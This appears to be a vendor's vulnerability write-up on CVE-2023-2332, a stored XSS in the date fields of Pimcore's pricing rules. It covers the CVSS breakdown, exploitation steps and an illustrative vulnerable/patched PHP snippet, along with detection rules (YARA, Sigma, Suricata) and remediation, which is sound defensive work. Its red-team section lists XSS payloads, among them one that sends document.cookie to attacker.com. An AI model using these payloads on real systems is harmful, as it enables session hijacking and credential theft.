CVE-2023-2332
Executive Summary
CVE-2023-2332 is a stored Cross-Site Scripting (XSS) vulnerability in Pimcore versions prior to 10.5.21. The vulnerability exists in the Conditions tab of Pricing Rules, specifically within the "From" and "To" fields of the Date Range section. An authenticated attacker with the ability to create or edit pricing rules can inject malicious JavaScript code into these fields. When an administrator or other user views the affected pricing rule, the injected script executes in their browser context, potentially leading to session hijacking, cookie theft, or redirection to malicious sites. The vulnerability is fixed in Pimcore version 10.5.21.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Pimcore PHP-based CMS/PDM platform. The risk is primarily to organizations using self-hosted Pimcore instances. The supply chain risk is moderate, as exploitation requires authenticated access to the Pimcore admin panel. However, once exploited, the impact can be significant due to the potential for privilege escalation and lateral movement within the application.
CVSS Breakdown & Threat Level
- CVSS Score: 4.0 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) - The attacker needs to be authenticated with privileges to create or edit pricing rules.
- User Interaction (UI): Required (R) - The victim must view the malicious pricing rule.
- Scope (S): Changed (C) - The impact is on the user's browser, not the vulnerable component itself.
- Confidentiality (C): Low (L) - Limited information disclosure (e.g., cookies).
- Integrity (I): Low (L) - Limited ability to modify content in the user's session.
- Availability (A): None (N) - No impact on system availability.
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the potential for session hijacking and data theft makes it a significant risk for Pimcore deployments.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the Pimcore admin interface. The Conditions tab of the Pricing Rules feature allows administrators to define date range conditions using "From" and "To" fields. These fields are not properly sanitized before being stored in the database and later rendered in the browser.
Attack Flow:
- An authenticated attacker with permissions to manage pricing rules navigates to the Pricing Rules section.
- The attacker creates or edits a pricing rule and navigates to the
Conditionstab. - In the "From" or "To" field of the Date Range section, the attacker injects a malicious JavaScript payload, such as:
"><script>alert('XSS')</script> - The payload is stored in the database without proper sanitization.
- When an administrator or other user views the affected pricing rule, the payload is rendered in the browser, executing the malicious script.
- The script can steal cookies, perform actions on behalf of the victim, or redirect to a phishing site.
Root Cause: The lack of output encoding or input sanitization for the "From" and "To" fields in the Date Range section of the Conditions tab.
Vulnerable vs. Patched Code
Vulnerable Code (Pimcore < 10.5.21): The vulnerable code likely directly outputs the user-supplied values without escaping. For example, in a Twig template or PHP file:
// Vulnerable: Direct output without escaping
echo '<input type="text" name="from" value="' . $_POST['from'] . '">';
Patched Code (Pimcore >= 10.5.21): The patched code properly escapes the output using a context-aware escaping function:
// Patched: Escaped output
echo '<input type="text" name="from" value="' . htmlspecialchars($_POST['from'], ENT_QUOTES, 'UTF-8') . '">';
The fix ensures that any HTML or JavaScript injected into the "From" or "To" fields is rendered as plain text, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Pimcore instance (version < 10.5.21)
- Valid credentials with permissions to create or edit pricing rules
Exploitation Steps:
- Log in to the Pimcore admin panel.
- Navigate to
Settings->Pricing Rules. - Click
Addto create a new pricing rule or edit an existing one. - Go to the
Conditionstab. - In the
Date Rangesection, enter the following payload in the "From" field:"><img src=x onerror=alert(document.cookie)> - Save the pricing rule.
- When another administrator views the pricing rule, the JavaScript executes, displaying the victim's cookies.
Advanced Payload:
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual input in the "From" and "To" fields of pricing rules.
- Look for HTTP requests containing
<script>,onerror,onload, or other XSS indicators in thefromortoparameters. - Review server logs for requests to
/admin/pricing-rule/*with suspicious payloads.
Hardening:
- Immediately upgrade to Pimcore version 10.5.21 or later.
- Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.
- Enforce strict Content Security Policy (CSP) headers to mitigate the impact of XSS.
- Conduct regular security training for administrators to recognize and avoid phishing attacks.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/admin/pricing-rule/*containing<script>,onerror,onload, or similar XSS patterns in thefromortoparameters. - Outbound connections to known malicious domains or IP addresses from the Pimcore server.
- HTTP requests to
Host IOCs:
- Presence of unexpected JavaScript code in the
fromortofields of pricing rules in the database. - Modified pricing rules with suspicious content in the
conditionscolumn of thepricing_rulestable.
- Presence of unexpected JavaScript code in the
Log IOCs:
- Server logs showing requests to
/admin/pricing-rule/savewith unusualfromortoparameters. - Browser console errors related to CSP violations when viewing pricing rules.
- Server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2023_2332_Pimcore_XSS {
meta:
description = "Detects stored XSS payloads in Pimcore pricing rules"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-2332"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Pimcore Stored XSS in Pricing Rules
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2023-2332 by injecting XSS payloads into pricing rule date fields
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/admin/pricing-rule/save'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in pricing rules (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-2332 Pimcore Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/pricing-rule/save"; http_uri; content:"from"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Pimcore: Update to version 10.5.21 or later immediately.
- Review Pricing Rules: Audit all existing pricing rules for any suspicious content in the "From" and "To" fields.
- Rotate Credentials: If exploitation is suspected, rotate all admin credentials and session tokens.
Long-Term Mitigations:
- Implement a Content Security Policy (CSP) with
script-src 'self'to prevent inline script execution. - Use a Web Application Firewall (WAF) with OWASP Core Rule Set to block XSS attempts.
- Conduct regular security audits and penetration testing of the Pimcore instance.
- Enforce the principle of least privilege for pricing rule management.
Patch Details:
- Fixed Version: Pimcore 10.5.21
- Patch Commit: The fix is included in the official release. No specific commit hash is publicly available.
- Workaround: If immediate upgrade is not possible, restrict access to the Pricing Rules section to only trusted administrators and implement manual input validation.
Valters IT
Securing Digital Frontiers